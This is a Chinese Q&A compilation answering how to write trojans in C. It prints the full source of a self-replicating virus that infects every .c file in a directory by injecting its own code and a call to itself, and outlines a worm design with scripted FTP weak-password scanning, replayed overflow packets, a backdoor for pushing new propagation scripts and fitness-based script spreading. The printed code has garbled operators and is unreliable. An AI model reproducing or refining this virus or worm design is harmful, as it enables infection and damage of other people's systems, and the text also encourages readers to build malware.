本文目录一览:
c语言木马代码,简单点的,我保证不做违法的
#include stdio.h
#include dir.h
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i=50)
{
fclose(in);
goto next;
}
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#includestdio.h\n",out);
fputs("#includedir.h\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;ji-1;j++)
if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(ji-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(ffblk);
}
return 0;
}
再就是网上一百度一大堆的。
如何用C语言制作木马
这个一两句也说不清楚 你首先要有信心去学习c语言,c语言不像vb,要到后期才能看到它的威力,所以要坚持的学下去 希望你能坚持住,教程网上随便一搜索就有了,还有可以去买书 都可以 总之要有耐心 坚持!!
木马怎么编辑?
一个典型的蠕虫病毒有两个功能型部件:传播和破坏,流行的蠕虫病毒大都是利用操作系统或者应用程序的漏洞(以弱口令和溢出最为常见),但常常并不会对宿主机造成“致命”的破坏。这两个特点使蠕虫病毒比普通电脑病毒传播得更快,影响力更大。一般来说,单一的蠕虫病毒只针对某种特定的漏洞进行攻击,所以一旦这种漏洞得到大范围修补,病毒也就没有了生存空间。
更新这种设计,我把传播部件拆分开来:把扫描、攻击和破坏脚本化,主程序则负责解析这些脚本。例如针对ftp弱口令进行扫描,我们可以定义如下脚本:
code:
uid = iscript-0a21-2331-x #随机唯一编号
using tcp;
port 21;
send “user anonymous”;
send crlf;
send “pass fake@nothing.com”
send crlf;
if (find “200”) resulrt ok;
next;
[copy to clipboard]
解析了这段脚本后(我想这种脚本是很容易读懂的),我们再定义一系列的过程,把我们的蠕虫体upload上去,一次完整的传播动作就完成了。如果是溢出漏洞,为了简单起见我们可以采集远程溢出的数据包,然后修改ip地址等必要数据,再转发溢出数据包进行溢出(这种情况下要实现connect-back就不容易了,不过这些具体问题就待有心人去研究吧),例如:
code:
using raw;
ip offset at 12;
send “\x1a\xb2\xcc” ……
[copy to clipboard]d
主程序在完成传播后留下一个后门,其他宿主机可以通过这个后门与本地的蠕虫病毒同步传播脚本,这样每次有新的漏洞产生,宿主机的传播方式可以很快地得到升级。我们当然不会仅满足于这样一个蠕虫程序,扫描/攻击脚本的传播过程也是需要仔细处理的。
我们希望适应力(fitness)最强的脚本得到广泛的应用(看起来有点类似 蚁群算法和 ga),所以我们要求得每个个体的fitness,当它和另一个体取得联系的时候就可以决定谁的传播脚本将取代另一个:
fitness = number of host infected / number of host scanned
但也不能仅凭fitness就修改传播脚本,我个人觉得一个合适的概率是75%,20%的机会保持各自的传播脚本,剩下的5%则交换脚本。这样在维持每种脚本都有一定生存空间的情况下使适应性最好的个体得到更多的传播机会,同时,一些在某种网络环境下适应性不强的脚本也有机会尝试不同的网络环境
我想学习C语言 什么样的开发环境最好 另外我想编写木马,请问编写木马都需要先学会什么说的越详细越好。
其实以上两位都讲的不错,学习C在linux下的确是不错的,不过呢不知到你的情况如何,在linux下至少得了解会用一个相关的系统,其实初学者还是不推荐的哈,那也是一门很大的学问了。在win下用VC是很不错的选择,虽然软件比较大,可是功能很齐全了,了解适用起来相对时间就能短很多,容易上手些。
写木马其实不是件简单的事,用C当然可以,但也需要结合其他的知识,另外那要看你能把C用的多牛逼了,还有一定要去学习汇编,在win下的汇编才是真正底层的东西,还得很了解计算机的组成原理和操作系统原理,以及深入了解程序如何在运行,代码在怎么跑,内存管理的机制,…,这点学C的时候就要同时多下功夫了,你了解的越多,懂的越多,理解的越深入,也才能真正自己写出木马、病毒来。再有一定基础的时候,自己你能写一些简单的小程序,能看懂别人的写的东西的时候,再去网上找源码、教程。
至于一些书、环境什么的,就要靠自己去寻找了,这里就没什么给你推荐的,自己能学懂的才是最好的。